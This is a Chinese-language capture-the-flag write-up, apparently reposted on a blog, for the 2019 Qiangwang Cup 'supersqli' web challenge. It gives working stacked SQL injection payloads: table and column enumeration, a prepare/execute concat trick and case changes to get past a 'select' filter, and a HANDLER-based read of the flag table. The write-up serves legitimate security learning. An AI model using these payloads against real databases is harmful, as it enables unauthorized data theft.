强网杯 2019[supersqli]
考點:堆疊注入,通過set prepare 繞過select等一些可利用的限制
放入bp測試一下發現報錯,得知其為單引號閉合前面order by 還行order by 2 正常回顯?但3報錯得知select中有兩個數據。
?第一時間想到的是聯合注入,結果:
?
?被過濾了,第一時間反應下來是去繞過過濾,不得。通過其它大佬的wp得知這邊考點是堆疊注入。同時使得一個sql代碼一次性執行兩條以上的sql命令。
在本機mysql測試 如:
select 1; ----- 1 ----- 1 -----select 1;select 2; ----- 1 ----- 1 ---------- 2 ----- 2 -----于是構造pyload查表:
1' ;show tables--+?得到兩個表
?查看表中的列:
1' ;show columns from `1919810931114514`--+?注意:這里的``是表的專屬符號并非單引號。
看到flag也猜到了flag在這里面了,所以words表可以不管了,有興趣可以自己康康
為了繞過select可以使用mysql預處理語句繞過,放一篇預處理的文章
MySQL 預處理語句prepare、execute、deallocate的使用_我的博客-CSDN博客
構造的pyload:
1' ;set @sql=concat('sel','ect * from `1919810931114514`;');prepare errorr0 from @sql;EXECUTE errorr0;
結果又給過濾了:
?但是還好繞過簡簡單單,普通的大小寫繞過
1' ;Set @sql=concat('sel','ect * from `1919810931114514`;');Prepare errorr0 from @sql;EXECUTE errorr0;--+也可以試試這個命令
1';handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#HANDLER … OPEN語句打開一個表,使其可以使用后續HANDLER … READ語句訪問,該表對象未被其他會話共享,并且在會話調用HANDLER … CLOSE或會話終止之前不會關閉。
?
?參考文章:攻防世界-web-高手進階區017-supersqli - joker0xxx3 - 博客園
[GYCTF2020]Blacklist堆疊注入_浩歌已行的博客-CSDN博客
總結
以上是生活随笔為你收集整理的强网杯 2019[supersqli]的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 4:3与16:9 你了解多少?
- 下一篇: APP下架五大原因